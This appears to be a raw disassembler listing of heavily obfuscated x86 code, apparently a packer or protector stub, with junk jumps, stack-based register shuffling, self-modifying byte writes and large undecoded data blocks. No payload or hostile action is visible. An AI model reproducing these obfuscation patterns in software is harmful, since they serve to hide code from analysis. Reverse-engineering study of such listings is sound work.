		jmp	loc_475199
; ---------------------------------------------------------------------------
		dd 4870000h, 0D8B5824h,	474F20h, 0F2F4F8BAh, 0E9C031F1h
		dd 0B89h, 39E9DE3Bh, 6
		db 0
; ---------------------------------------------------------------------------

loc_473E85:				; CODE XREF: y3hmw1t3:00473D2Bj
		mov	byte ptr [ecx],	87h
		xchg	ebp, [esp]
		mov	ecx, ebp
		pop	ebp
		push	0AEAA54EDh
		pop	eax
		jmp	loc_473E19
; ---------------------------------------------------------------------------
		align 2

locret_473E9A:				; CODE XREF: y3hmw1t3:loc_474E86j
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_475088

loc_473E9C:				; CODE XREF: sub_475088+13j
		jmp	nullsub_383
; END OF FUNCTION CHUNK	FOR sub_475088

; =============== S U B	R O U T	I N E =======================================



sub_473EA1	proc near		; DATA XREF: y3hmw1t3:0047582Do

; FUNCTION CHUNK AT 00475626 SIZE 00000005 BYTES

		push	offset loc_475441
		jmp	loc_475626
sub_473EA1	endp

; ---------------------------------------------------------------------------

locret_473EAB:				; CODE XREF: y3hmw1t3:004739D6j
		retn
; ---------------------------------------------------------------------------
		dd 0FFF646E9h, 0C60000FFh, 14878703h, 5ADA8B24h, 1491E9h
		dd 24048700h, 5B816858h, 51E90047h, 9900000Ah, 5E243487h
		dd 0C8CEF781h, 0FD03E3C8h, 5076C781h, 789B858h,	1D16E9h
		dd 87000000h, 0E9582404h, 1CA7h, 5000C300h, 487C28Bh, 0D2E95524h
		dd 13h,	0BBE900C3h, 12h, 0FFFD57E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473D4D

loc_473F11:				; CODE XREF: sub_473D4D-64j
		jmp	nullsub_378
; END OF FUNCTION CHUNK	FOR sub_473D4D
; ---------------------------------------------------------------------------
		dw 8700h
; ---------------------------------------------------------------------------
		adc	al, 24h
		pop	edx
		or	eax, eax

loc_473F1D:				; CODE XREF: y3hmw1t3:00474D84j
		jz	loc_473DB8
		push	eax
		jmp	loc_4745EE
; ---------------------------------------------------------------------------
		align 2
		or	ebp, ecx
		jmp	loc_473E52
; ---------------------------------------------------------------------------

loc_473F31:				; CODE XREF: y3hmw1t3:004743F3j
		rol	eax, 16h
		add	eax, 0CB1E13F9h
		push	offset byte_47527D
		jmp	locret_47527C
; ---------------------------------------------------------------------------
		dd 0C300h
; ---------------------------------------------------------------------------

loc_473F48:				; CODE XREF: y3hmw1t3:loc_4743D4j
		mov	byte ptr [edi],	87h
		xchg	ebp, [esp]
		mov	edi, ebp
		pop	ebp
		push	ecx
		push	ebp
		pop	ecx
		jmp	loc_474DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475707

loc_473F59:				; CODE XREF: sub_475707+Ej
		jz	loc_475D4F
		jmp	loc_475B76
; END OF FUNCTION CHUNK	FOR sub_475707
; ---------------------------------------------------------------------------
		dd 0CD680000h, 0E900473Dh, 0C1Dh, 0E9DD1300h, 0FFFFFF57h
					; CODE XREF: y3hmw1t3:loc_474FACj
		dd 87241C87h, 0DD8B242Ch, 3B9515Dh, 0E9004748h,	15Ah, 243C8700h
		dd 306C65Fh, 8B243C87h,	14875FF7h, 0E9EC8B24h, 92Fh, 0E8900000h
		dd 1E44h, 4740B368h, 110EE900h,	0
; ---------------------------------------------------------------------------
		mov	byte ptr [ecx],	8Bh
		pop	ecx
		or	edx, 4384D8C9h
		cmp	edx, 26319656h
		jmp	loc_474481
; ---------------------------------------------------------------------------
		align 2
		pop	edi
		rol	edi, 1
		test	edi, 20h
		jmp	loc_474E8C
; ---------------------------------------------------------------------------
		dd 9D00C300h, 18C7E9h, 0DF030000h, 0FFFF8BE9h, 0C10000FFh
					; CODE XREF: y3hmw1t3:loc_474691j
		dd 1AE90FEFh, 0E8000001h, 446h,	0C870000h, 24148724h, 815ACA8Bh
		dd 42E9D6C0h, 1695E9BAh, 0
		dd 38A2E181h, 850F8C50h, 0FFFFFDE4h, 33C5D100h,	0C1CE0BDDh
		dd 0D5E914C0h, 0FFFFFFDh, 0A388Ah, 1B21E900h, 0
		dd 0BC1C15Fh, 0A20BC181h, 0C1C12873h, 0F74CE902h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475480

loc_47404F:				; CODE XREF: sub_475480-B10j
		sub	edi, 818975ADh
		and	edi, 7232CA7Eh
		jnz	loc_474844
; END OF FUNCTION CHUNK	FOR sub_475480
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C1h
; ---------------------------------------------------------------------------
		retn	0F0Dh
; ---------------------------------------------------------------------------
		db 80h
; ---------------------------------------------------------------------------
		icebp
		adc	[eax], eax
		add	cl, ch
		retf	7
; ---------------------------------------------------------------------------
		dd 0E1F78100h, 3ED6FAFh, 243487C7h, 0E85EFE8Bh,	17C3h
		dd 0B7E90000h, 14h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473CF6

loc_47408C:				; CODE XREF: sub_473CF6+11BBj
		jmp	nullsub_382
; END OF FUNCTION CHUNK	FOR sub_473CF6
; ---------------------------------------------------------------------------
		align 2
		jmp	locret_4746A3
; ---------------------------------------------------------------------------
		align 4
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_382. PRESS KEYPAD	"+" TO EXPAND]
		dw 0C081h
		dd 0A284587Fh, 0FFFE72E8h, 0C0315EFFh, 47533168h, 87EE900h
		dd 0C6000000h, 473CC805h, 5C60F00h, 475892h, 9705C668h
		dd 0E9004758h, 35CA05C6h, 0C6C30047h, 4738D505h, 0C30F00h
; ---------------------------------------------------------------------------

locret_4740D8:				; CODE XREF: y3hmw1t3:004745B4j
		retn
; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_381. PRESS KEYPAD	"+" TO EXPAND]
		db 81h
		dd 1257h, 1023E9h, 2EE80000h, 0E9000017h, 193Eh, 0C30000h
		dd 241C8700h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475707

loc_4740F8:				; CODE XREF: sub_475707+642j
		mov	ecx, ebx
		pop	ebx
		push	offset byte_474F31
		jmp	nullsub_385
; END OF FUNCTION CHUNK	FOR sub_475707
; ---------------------------------------------------------------------------

locret_474105:				; CODE XREF: y3hmw1t3:0047532Cj
		retn
; ---------------------------------------------------------------------------

loc_474106:				; CODE XREF: y3hmw1t3:00474C60j
		jmp	loc_475AC1
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_4746C5
; ---------------------------------------------------------------------------
		sub	ecx, esi

; =============== S U B	R O U T	I N E =======================================



sub_474113	proc near

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	edi, [esp-4+arg_0]
		push	offset loc_474C47
		jmp	nullsub_391
sub_474113	endp

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_474125:				; CODE XREF: y3hmw1t3:loc_474610j
		call	sub_475480
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		jmp	loc_47338A
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 58A30CE6h, 0A0C681B8h, 0E9583714h, 1112h, 24048700h
		dd 8B243487h, 6BE95EC6h, 0Eh, 0FF81D987h, 0FC275D52h, 0FFF4B2E9h
		dd 0D18B52FFh, 68241487h, 0B3ABB4E9h, 8B243C87h, 0E9D7F7CFh
		dd 0FFFFFEC4h, 1C60000h, 0FEE85987h, 0FFFFFAh, 58515000h
		dd 0E9240487h, 1A85h, 0D7230000h, 0E1813787h, 658B6B08h
		dd 0B604C181h, 0FFE9FF7Eh, 0FFFFFBh, 243C8700h,	875FCF8Bh
		dd 5E51240Ch, 1754E8h, 0C870000h, 51575924h, 1DB9515Fh
		dd 0E9004744h, 0DA6h
; ---------------------------------------------------------------------------
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_378. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

loc_4741D0:				; CODE XREF: y3hmw1t3:00475832j
		jmp	locret_47471A
; ---------------------------------------------------------------------------
		db 0E9h, 0Fh, 0F6h
		dd 0FFFFh, 52E9F033h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

locret_4741E3:				; CODE XREF: y3hmw1t3:00475778j
		retn
; ---------------------------------------------------------------------------
dword_4741E4	dd 49756800h, 0C1586EDBh, 0C08106C0h, 4268F2C0h, 0D97E9h
		dd 0C3000000h, 36676800h, 8159A12Bh, 0A55C56E9h, 87830F0Eh
		dd 0FFFFFFh, 126A8A0Fh,	0E99C0000h, 0C77h, 0B456C081h
		dd 8B3554h, 0FF240487h,	0AFE90C75h, 87000014h, 5668243Ch
		dd 87F63BD8h, 0D68B2434h, 0FFF4D8E9h, 3C8700FFh, 68575F24h
		dd 6E241FB6h, 0D4F7815Fh, 0E98BA34Ch, 0FFFFFB12h, 0F0E9C300h
		dd 0C3FFFFF2h, 0F07C600h, 0F19AE85Fh, 0C081FFFFh, 3CE052ACh
		dd 0E9240487h, 0FFFFF827h, 0A42AC681h, 75E882D1h, 3, 13A1E900h
		dd 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C6h
; ---------------------------------------------------------------------------
		add	eax, [edi+5C2C15Bh]
		call	sub_474649
		add	cl, ch
		xchg	eax, ecx
		or	[eax], eax
		add	bl, al
		jmp	loc_4743BC
; ---------------------------------------------------------------------------
		align 4
		dd 0BEB890Fh, 42680000h, 0E9004742h, 0FFFFF319h, 0D0850000h
		dd 6B5E9h, 81000000h, 16A53CF9h, 722E9C6h, 819C0000h, 4B0A69C0h
		dd 0F3880F08h, 6800000Bh, 47341Fh, 15EBE9h, 0AC000000h
		dd 6168C201h, 0E9004746h, 429h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 2
word_4742F6	dw 0E89Ch		; DATA XREF: sub_4744CE+1780o
		dd 19D0h, 14E95F00h, 0FFFFFCh, 1D820F00h, 0E9000015h, 0FFFFF8D0h
		dd 6A0AF381h, 850F2D93h, 15CDh,	77CE8100h, 0E92D4BFDh
		dd 15BFh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744CE

loc_47432A:				; CODE XREF: sub_4744CE:loc_474714j
		jge	loc_473BBA
		add	[ebx+3Bh], dl
		clc
		jmp	loc_473BB4
; END OF FUNCTION CHUNK	FOR sub_4744CE
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_474876
; ---------------------------------------------------------------------------
		align 10h
		dd 0A54E8h, 0E9000000h,	53h, 525500C3h,	4738A7BAh, 0E8BE900h
					; CODE XREF: y3hmw1t3:loc_475B6Bj
		dd 68000000h, 0F125C6A5h, 8FEA815Ah, 813B7B0Ah,	0AAD727C2h
		dd 6EF28165h, 0E94B9394h, 0FFFFFD94h
		db 0, 0C3h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475122

loc_47437B:				; CODE XREF: sub_475122+Cj
		pop	ebp
		mov	byte ptr [edi],	8Bh
		pop	edi
		pop	ecx
		push	47345Fh
		jmp	loc_474DE8
; END OF FUNCTION CHUNK	FOR sub_475122
; ---------------------------------------------------------------------------
		align 4

locret_47438C:				; CODE XREF: y3hmw1t3:00473E2Dj
		retn
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------

loc_47438E:				; CODE XREF: y3hmw1t3:00474EA7j
		jmp	loc_473B6D
; ---------------------------------------------------------------------------
		mov	ecx, offset loc_475478
		jmp	loc_4754E4
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		db 8Dh,	12h
		dw 11h
		dd 8BE90000h, 81000015h, 1552F6EFh, 0D5CA81C6h,	0E9630CFEh
		dd 10FBh
; ---------------------------------------------------------------------------

loc_4743BC:				; CODE XREF: y3hmw1t3:004742A2j
		call	sub_474878
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFF3FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473D4D

loc_4743CA:				; CODE XREF: sub_473D4D+1923j
		jmp	loc_473CE4
; END OF FUNCTION CHUNK	FOR sub_473D4D
; ---------------------------------------------------------------------------
		align 10h
		dd 0C300h
; ---------------------------------------------------------------------------

loc_4743D4:				; CODE XREF: y3hmw1t3:00474620j
		jmp	loc_473F48
; ---------------------------------------------------------------------------

locret_4743D9:				; CODE XREF: y3hmw1t3:00474C2Cj
		retn
; ---------------------------------------------------------------------------
		dw 5D00h
; ---------------------------------------------------------------------------
		push	0D6FBED73h
		xchg	ebp, [esp]
		mov	eax, ebp
		pop	ebp
		or	eax, 9B0386C1h
		sub	eax, 3B0F231Fh
		jmp	loc_473F31
; ---------------------------------------------------------------------------
		dd 3C60000h, 0CE815B87h, 2210568Ch, 0E1A1C681h,	3487DCF2h
					; CODE XREF: y3hmw1t3:004755BEj
		dd 1910E924h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_474413:				; CODE XREF: y3hmw1t3:0047360Cj
		xchg	edi, [esp]
		pop	edi
		lea	eax, nullsub_379
		mov	dl, 0
		retn
; ---------------------------------------------------------------------------
		push	edi
		push	0E2430858h
		jmp	loc_47505E
; ---------------------------------------------------------------------------
		align 4
		dd 4742E768h, 0F853E900h, 3B68FFFFh, 0E900474Eh, 9FAh
		dd 3C870000h, 1C65F24h,	243C8787h, 0E95FCF8Bh, 1484h, 2C680000h
		dd 0F36CEE5h, 163E8Ah, 1E3E900h, 0
; ---------------------------------------------------------------------------
		xchg	ebx, [esp]
		pop	ebx
		xchg	esi, [esp]
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		push	3EEAB777h
		jmp	loc_475DAB
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------

loc_474481:				; CODE XREF: y3hmw1t3:00473FC8j
		jge	near ptr dword_473D88+7
; ---------------------------------------------------------------------------
		db 0
		dd 0E9C10B00h, 0FFFFF8F9h, 15E9D3F7h, 0C6FFFFF9h, 815F8B07h
					; CODE XREF: y3hmw1t3:00475A7Aj
		dd 5E650CF2h
		db 8
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_389. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		retn	0E086h
; ---------------------------------------------------------------------------
		and	eax, 871242EAh
		adc	al, 24h
		jmp	loc_474FAC
; ---------------------------------------------------------------------------
		rol	esi, 5
		jmp	loc_474754
; ---------------------------------------------------------------------------
		align 4
		dd 0F21C840Fh, 0C1F7FFFFh, 32841F0Ah, 0FFF328E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

; =============== S U B	R O U T	I N E =======================================



sub_4744CE	proc near		; CODE XREF: sub_474878+E00p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00473BB4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0047432A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00474714 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0047533C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00475C49 SIZE 0000000F BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	ebp, [esp-4+arg_0]
		push	0D299387Eh
		pop	esi
		sub	esi, 5BD59BD9h
		jmp	loc_47533C
sub_4744CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0C300h
		db 0
byte_4744E9	db 81h,	0C2h, 0CEh	; DATA XREF: y3hmw1t3:00474C27o
dword_4744EC	dd 8BE8DD49h, 682AF612h, 4735E8h, 2D6E9h, 0C3810000h, 0C03F044Fh
		dd 0FFFD86E9h, 810000FFh, 0F15779EEh, 0EFC68187h, 0E8CCDD52h
		dd 0FFFFFF4Ch, 343E900h, 0
		dd 473850B9h, 1566E900h, 13000000h, 0F7DDE9D7h,	5200FFFFh
					; CODE XREF: y3hmw1t3:loc_475469j
		dd 0ADCE8h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_391. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

loc_474540:				; CODE XREF: y3hmw1t3:00475CF9j
		xchg	eax, [esp]
		pop	eax
		mov	byte ptr [edx],	0FFh
		push	edx
		jmp	loc_475AEF
; ---------------------------------------------------------------------------
		align 2

loc_47454E:				; CODE XREF: y3hmw1t3:00473BF9j
		mov	byte ptr [eax],	87h
		pop	eax
		sub	edi, 556BFC5Dh
		xor	edi, 8316DF2Dh
		call	loc_473AEA
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------

loc_474565:				; CODE XREF: y3hmw1t3:00473B7Ej
		jmp	loc_474DBF
; ---------------------------------------------------------------------------
		pop	edx
		jmp	loc_4755D3
; ---------------------------------------------------------------------------
		dd 9BCB8100h, 0C1D656FDh, 0C38111C3h, 4F7ED1h, 36F9689Dh
					; CODE XREF: y3hmw1t3:loc_47551Aj
		dd 4E90047h, 0C3000001h
; ---------------------------------------------------------------------------

loc_47458C:				; CODE XREF: y3hmw1t3:00473B30j
		jmp	loc_474C13
; ---------------------------------------------------------------------------
		mov	byte ptr [edi],	0C3h
		pop	edi
		xchg	ebx, [esp]
		mov	eax, ebx
		pop	ebx
		xor	eax, 1C664D0Dh
		jmp	loc_47514A
; ---------------------------------------------------------------------------
		or	edx, 8356EC7Ah
		jmp	loc_473B35
; ---------------------------------------------------------------------------

loc_4745B1:				; DATA XREF: y3hmw1t3:004746CEo
		xchg	edx, [esp]
		jmp	locret_4740D8
; ---------------------------------------------------------------------------
		db 0E8h, 0D2h, 17h
		align 10h
		jmp	locret_4753A3
; ---------------------------------------------------------------------------
		align 2
		jmp	loc_474BC5
; ---------------------------------------------------------------------------
		align 4
		dd 0A312C068h, 0E8815890h, 4A9EB2EBh, 0C0F7h, 0DCE90200h
		dd 0
; ---------------------------------------------------------------------------
		push	473DE8h

loc_4745E9:				; CODE XREF: y3hmw1t3:00473CF0j
		jmp	locret_4759E7
; ---------------------------------------------------------------------------

loc_4745EE:				; CODE XREF: y3hmw1t3:00473F24j
		mov	eax, offset nullsub_389
		jmp	loc_475524
; ---------------------------------------------------------------------------
		dd 59240C87h, 6EE8368Bh, 0E9FFFFEFh, 326h, 0FA97E900h
		dd 0FFFFh
; ---------------------------------------------------------------------------

loc_474610:				; CODE XREF: y3hmw1t3:004751ABj
		jmp	loc_474125
; ---------------------------------------------------------------------------
		align 2

loc_474616:				; CODE XREF: y3hmw1t3:004739CAj
		xchg	esi, [esp]
		pop	esi
		push	edi
		mov	edi, offset loc_474DD7
		jmp	loc_4743D4
; ---------------------------------------------------------------------------
		db 2 dup(0), 31h
; ---------------------------------------------------------------------------
		retn	0F49h
; ---------------------------------------------------------------------------
		db 85h
		dd 0B96h, 4741A968h, 0ED8BE900h
		db 2 dup(0FFh),	99h

; =============== S U B	R O U T	I N E =======================================



sub_47463B	proc near		; CODE XREF: y3hmw1t3:004746B9p

; FUNCTION CHUNK AT 004754DD SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edi
		mov	edi, ebx
		jmp	loc_4754DD
sub_47463B	endp

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_474649	proc near		; CODE XREF: y3hmw1t3:00474296p

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		add	edx, 0A62EDEF6h
		xchg	edx, [esp-4+arg_0]
		retn
sub_474649	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	offset byte_475D37
		jmp	loc_4752C0
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 94h
		dd 0E900474Ah, 0FFFFF06Dh, 87510000h, 2C87243Ch, 5DFD8B24h
		dd 840FD209h, 0FFFFED4Eh, 0F16E957h, 89000000h,	0EE5CE90Bh
		dd 0C300FFFFh
		db 0
; ---------------------------------------------------------------------------

loc_474691:				; CODE XREF: y3hmw1t3:004746E0j
		jmp	near ptr dword_473FDC+1
; ---------------------------------------------------------------------------
		align 4
		mov	edx, offset byte_475AE5
		jmp	loc_47555C
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_4746A3:				; CODE XREF: y3hmw1t3:00474092j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_4758DD
; ---------------------------------------------------------------------------

loc_4746A9:				; CODE XREF: y3hmw1t3:loc_475DABj
		pop	edx
		add	edx, 0D1EC8954h
		rol	edx, 4
		sub	edx, 0DAA35BEAh
		call	sub_47463B
		add	cl, ch
		loopne	loc_4746D8
; ---------------------------------------------------------------------------
		dw 0
		db 0
; ---------------------------------------------------------------------------

loc_4746C5:				; CODE XREF: y3hmw1t3:0047410Cj
		rol	edx, 0Ch
		add	edx, 9FD210ADh
		push	offset loc_4745B1
		jmp	loc_474E86
; ---------------------------------------------------------------------------

loc_4746D8:				; CODE XREF: y3hmw1t3:004746C0j
					; y3hmw1t3:0047597Bj
		xchg	edx, [esp]
		push	offset loc_4739B0
		jmp	loc_474691
; ---------------------------------------------------------------------------
		align 2
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0C181C300h, 0C8817F64h, 0FFFD73E9h, 240C87FFh, 8B243487h
					; CODE XREF: y3hmw1t3:loc_4755B9p
		dd 68535ECEh, 5A653D49h, 2F7E9h, 0C3000000h, 0AEDE900h
		dd 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744CE

loc_474714:				; CODE XREF: sub_4744CE+E74j
		jmp	loc_47432A
; END OF FUNCTION CHUNK	FOR sub_4744CE
; ---------------------------------------------------------------------------
		align 2

locret_47471A:				; CODE XREF: y3hmw1t3:loc_4741D0j
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0F35EE900h, 820FFFFFh, 104Bh, 0FFF2DBE8h, 0D281C3FFh
		dd 4230246Eh, 0E908E3C1h, 0D44h, 5E20F381h, 36E94E73h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------

loc_474747:				; DATA XREF: y3hmw1t3:00475352o
		add	eax, ecx
		push	offset loc_47545D
		jmp	loc_474D2A
; ---------------------------------------------------------------------------
		align 4

loc_474754:				; CODE XREF: y3hmw1t3:004744B6j
		push	ebp
		call	near ptr dword_473EAC+3Fh
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------

loc_47475C:				; DATA XREF: y3hmw1t3:00473AE0o
		push	0FFFFFFFFh
		push	473434h
		jmp	loc_47551F
; ---------------------------------------------------------------------------
		dd 2AE95100h, 6, 8B241C87h, 241487D6h, 3B526851h, 6856157Dh
		dd 0FD02F54Ah, 0F18E95Eh, 8B0F0000h, 0E49h, 0FA3B0887h
		dd 0AE9h, 0C6030000h, 0FFF18EE9h, 0F0000FFh, 0FFFDD78Eh
		dd 0E9EE03FFh, 0FFFFED1Fh, 0E9C68500h, 157h, 0E390DB81h
		dd 0FEE9CF31h, 0FFFFF6h
		db 0
; ---------------------------------------------------------------------------

loc_4747C5:				; CODE XREF: y3hmw1t3:00473DC6j
		xchg	edi, [esp]
		pop	edi
		mov	byte ptr [ebx],	87h
		pop	ebx
		call	sub_474B7D
		add	cl, ch
		fiadd	dword ptr [eax+eax]
; ---------------------------------------------------------------------------
		db 0
		db 2 dup(0)
word_4747DA	dw 0FD03h		; DATA XREF: y3hmw1t3:loc_473E34o
		dd 78BC781h, 3F8B1DDEh,	0FF243CB0h, 44F0C015h, 3A1A6800h
		dd 42E90047h, 0FFFFEFh,	241C8700h, 0FFECF6E9h, 80000FFh
		dd 473E5A05h
		db 0
; ---------------------------------------------------------------------------

loc_474809:				; DATA XREF: y3hmw1t3:loc_475AC4o
		pop	es
		add	bl, al
		call	nullsub_380
		push	0BE2E000Eh
		pop	eax
		xor	eax, 0B335C747h
		and	eax, 599BE1D4h
		jmp	loc_47525D
; ---------------------------------------------------------------------------
		dd 19680000h, 0FBDA2EDh, 0FFF4EB89h, 10D3E9FFh,	8B000000h
		dd 850F0045h, 0FFFFFEC9h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475480

loc_474844:				; CODE XREF: sub_475480-1425j
		add	edi, 0EE1485F1h
		popf
		xchg	edi, [esp-4+arg_0]
		jmp	loc_47564B
; END OF FUNCTION CHUNK	FOR sub_475480
; ---------------------------------------------------------------------------
		jmp	loc_47517F
; ---------------------------------------------------------------------------
		db 0
byte_474859	db 92h,	0		; DATA XREF: y3hmw1t3:004751A6o
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475480

loc_47485B:				; CODE XREF: sub_475480:loc_47564Bj
		push	offset byte_474EB7
		jmp	nullsub_388
; END OF FUNCTION CHUNK	FOR sub_475480
; ---------------------------------------------------------------------------
		mov	byte ptr [edi],	9
		xchg	esi, [esp]
		mov	edi, esi
		pop	esi
		rol	ebx, 7
		jmp	loc_475D67
; ---------------------------------------------------------------------------

loc_474876:				; CODE XREF: y3hmw1t3:0047433Aj
		xchg	edx, ebx

; =============== S U B	R O U T	I N E =======================================



sub_474878	proc near		; CODE XREF: y3hmw1t3:loc_4743BCp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00474F58 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00475676 SIZE 00000010 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	eax, [esp-4+arg_0]
		mov	ebp, esp
		push	edi
		push	ecx
		jmp	loc_474F58
sub_474878	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
byte_47488B	db 68h			; DATA XREF: y3hmw1t3:loc_475550o
		dd 0AA55DC30h, 0EBCE815Eh, 81C01C40h, 221D29F6h, 9CEE81F9h
		dd 0E9B2B569h, 53Ah, 0FFF208E8h, 870000FFh, 959240Ch, 0F0840FD2h
		dd 50000000h, 0FFFD0BE9h, 0F0000FFh, 0FFF3178Ch, 12C0C1FFh
		dd 60E9EA33h, 57FFFFF8h, 3C87F98Bh, 41616824h, 72E90047h
		dd 0C6FFFFEEh, 685A0F02h, 4740F5h, 1280E9h, 8B02C600h
		dd 83F9685Ah, 815973D0h, 0CCC332C9h, 0F364E9ECh, 9900FFFFh
		dd 0FFF374E9h, 0F00C3FFh, 10498Ah, 13CAE800h, 0E9000000h
		dd 0FFh, 0FFF620E9h, 0E90000FFh, 0FFFFFFB7h, 0C30000h
		dd 9E4E9h, 0F9C5300h, 0FFF8848Eh
		db 0FFh
; ---------------------------------------------------------------------------

loc_47493D:				; CODE XREF: y3hmw1t3:004735F0j
		add	eax, 0D07D802Ch
		jmp	loc_475B35
; ---------------------------------------------------------------------------
		dd 0C1F70000h, 0DF3AB448h, 10CE9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475480

loc_474956:				; CODE XREF: sub_475480:loc_474F8Aj
		and	eax, 40AB7CFEh
		xor	eax, 379E2h
		push	edi
		pushf
		push	0A14C4C14h
		pop	edi
		and	edi, 0BB135EDAh
		jmp	loc_47404F
; END OF FUNCTION CHUNK	FOR sub_475480
; ---------------------------------------------------------------------------
		align 2
		dw 8F0Fh
		dd 0FFFFF664h, 871CC1C1h, 0E959240Ch, 0ED4h, 0C30000h
		dd 0EE9C603h, 7, 0B6F0E881h, 0C881FE4Bh, 0E3495E5Ch, 187DC081h
		dd 4870059h
		db 24h,	0C3h, 0
; ---------------------------------------------------------------------------

loc_4749AB:				; CODE XREF: y3hmw1t3:0047536Cj
		pop	eax
		jmp	loc_4750F4
; ---------------------------------------------------------------------------
		db 3, 0D5h, 51h
		dd 32A27768h, 0E18159AAh, 8210EB2Ch, 65C4C181h,	49E9BCCDh
		dd 81FFFFF6h, 99DEF9E1h, 36C981D9h, 816DF30Dh, 7C71C4F9h
		dd 0B2AE911h, 0
; ---------------------------------------------------------------------------
		sbb	esi, 73C1F3B2h
		jmp	loc_4753DB
; ---------------------------------------------------------------------------
		align 10h
dword_4749F0	dd 1D5860Fh, 0F9030000h, 0FFF4EEE9h, 0C30000FFh, 0FFEF88E9h
		dd 7BBE9FFh, 68680000h,	0E9004737h, 0FFFFEBB7h,	48F16800h
		dd 82E90047h, 5BFFFFF8h, 6782E681h, 0C68110DCh,	573EC930h
		dd 9688E681h, 16E91502h, 10h
; ---------------------------------------------------------------------------

locret_474A38:				; CODE XREF: y3hmw1t3:loc_474DEDj
		retn
; ---------------------------------------------------------------------------
		align 2
		jmp	loc_474AD7
; ---------------------------------------------------------------------------
byte_474A3F	db 81h			; DATA XREF: y3hmw1t3:00473AD4o
		dd 0A9B7B5C6h, 2434873Bh, 0F0C015EAh, 68530044h, 0D62F2FA7h
		dd 52E3815Bh, 0E9CC48A3h, 0FFFFF775h, 68800F00h, 87FFFFF1h
		dd 240C87FDh, 0A9BF5759h, 0E9004744h, 1002h, 26BA5257h
		dd 0E900473Ah, 0FFFFF818h, 840F0000h, 0FFFFFCC9h, 494E9h
		dd 49C23100h, 72C850Fh,	41680000h, 0E9004739h, 0BA1h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_384. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	byte ptr [ebx],	87h
		xchg	edx, [esp]
		mov	ebx, edx
		pop	edx
		not	ecx
		jmp	loc_474F82
; ---------------------------------------------------------------------------
		align 4
dword_474AB8	dd 87C78B50h, 0F98B2404h, 0FFF64EE8h, 8B5200FFh, 241487D1h
					; DATA XREF: y3hmw1t3:00475614o
		dd 4748B5B9h, 1116E900h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_474AD7:				; CODE XREF: y3hmw1t3:00474A3Aj
		jnz	loc_475584
